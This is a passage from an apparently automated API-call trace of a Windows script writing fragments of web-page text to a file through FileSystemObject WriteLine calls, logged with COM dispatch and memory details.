bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.504] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.504] SysReleaseString () returned 0x1 [0148.504] CoTaskMemFree (pv=0x249c8761b80) [0148.504] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.504] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.505] CoTaskMemAlloc (cb=0x28) returned 0x249c8761700 [0148.505] SysAddRefString () returned 0x0 [0148.505] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.505] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.505] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.505] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762c88, pBstrHelpFile=0x249c8758f60*="黰졵ɉ") returned 0x0 [0148.505] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8756d08, pBstrHelpFile=0x249c8758f60*="黰졵ɉ") returned 0x0 [0148.505] malloc (_Size=0x8) returned 0x249c884ecc0 [0148.505] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.505] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.505] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.505] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.505] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.505] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.505] wcsncpy_s (in: _Destination=0x249ca4d4e7a, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.505] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.505] free (_Block=0x249c884ee60) [0148.505] free (_Block=0x249c884ecc0) [0148.505] free (_Block=0x249ca4d5de0) [0148.505] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.506] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.506] SysReleaseString () returned 0x1 [0148.506] CoTaskMemFree (pv=0x249c8761700) [0148.506] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.506] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.506] CoTaskMemAlloc (cb=0x28) returned 0x249c87617c0 [0148.506] SysAddRefString () returned 0x0 [0148.506] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.506] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.506] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.506] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8756d08, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.506] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762868, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.506] malloc (_Size=0x8) returned 0x249c884ecf0 [0148.507] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.507] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.507] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.507] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.507] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.507] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.507] wcsncpy_s (in: _Destination=0x249ca4d4f66, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.507] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.507] free (_Block=0x249c884ee60) [0148.507] free (_Block=0x249c884ecf0) [0148.507] free (_Block=0x249ca4d5de0) [0148.507] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.508] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.508] SysReleaseString () returned 0x1 [0148.508] CoTaskMemFree (pv=0x249c87617c0) [0148.508] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.508] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.508] CoTaskMemAlloc (cb=0x28) returned 0x249c8761820 [0148.508] SysAddRefString () returned 0x0 [0148.508] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.508] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.508] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.508] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762868, pBstrHelpFile=0x249c8758f60*="꘰졵ɉ") returned 0x0 [0148.508] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762508, pBstrHelpFile=0x249c8758f60*="꘰졵ɉ") returned 0x0 [0148.508] malloc (_Size=0x8) returned 0x249c884ee00 [0148.508] malloc (_Size=0x14) returned 0x249ca4476b0 [0148.509] _snwprintf_s (in: _DstBuf=0x249ca4476b0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.509] malloc (_Size=0x4e) returned 0x249c884a540 [0148.509] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.509] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.509] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.509] wcsncpy_s (in: _Destination=0x249ca4d5052, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.509] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.509] free (_Block=0x249ca4476b0) [0148.509] free (_Block=0x249c884ee00) [0148.509] free (_Block=0x249c884a540) [0148.509] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.509] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.509] SysReleaseString () returned 0x1 [0148.509] CoTaskMemFree (pv=0x249c8761820) [0148.509] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.509] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.510] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.545] SysAddRefString () returned 0x0 [0148.545] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.545] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.545] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.545] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762508, pBstrHelpFile=0x249c8758f60*="饰졵ɉ") returned 0x0 [0148.545] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762988, pBstrHelpFile=0x249c8758f60*="饰졵ɉ") returned 0x0 [0148.545] malloc (_Size=0x8) returned 0x249c884ece0 [0148.545] malloc (_Size=0x72) returned 0x249c884a540 [0148.545] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x39, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" XP and is listed separately on this page. Synta \"") returned 56 [0148.545] malloc (_Size=0xac) returned 0x249c884ee60 [0148.545] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x56, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.545] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x56, _Source="\" XP and is listed separately on this page. Synta \"", _MaxCount=0x38 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"") returned 0x0 [0148.545] wcscat_s (in: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"", _SizeInWords=0x56, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.545] wcsncpy_s (in: _Destination=0x249ca4d509a, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.545] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.545] free (_Block=0x249c884a540) [0148.545] free (_Block=0x249c884ece0) [0148.545] free (_Block=0x249c884ee60) [0148.546] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.546] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.546] SysReleaseString () returned 0x1 [0148.546] CoTaskMemFree (pv=0x249c87614f0) [0148.546] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.546] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.546] CoTaskMemAlloc (cb=0x28) returned 0x249c8761700 [0148.546] SysAddRefString () returned 0x0 [0148.546] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.546] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.546] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.547] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8762988, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.547] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc87568a8, pBstrHelpFile=0x249c8758f60*="ꋰ졵ɉ") returned 0x0 [0148.547] malloc (_Size=0x8) returned 0x249c884ece0 [0148.547] malloc (_Size=0x14) returned 0x249ca447770 [0148.547] _snwprintf_s (in: _DstBuf=0x249ca447770, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.547] malloc (_Size=0x4e) returned 0x249c884a540 [0148.547] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.547] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.547] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.547] wcsncpy_s (in: _Destination=0x249ca4d5140, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.547] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.547] free (_Block=0x249ca447770) [0148.547] free (_Block=0x249c884ece0) [0148.547] free (_Block=0x249c884a540) [0148.547] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b7d0*(varType=0x8, wReserved1=0xc884, 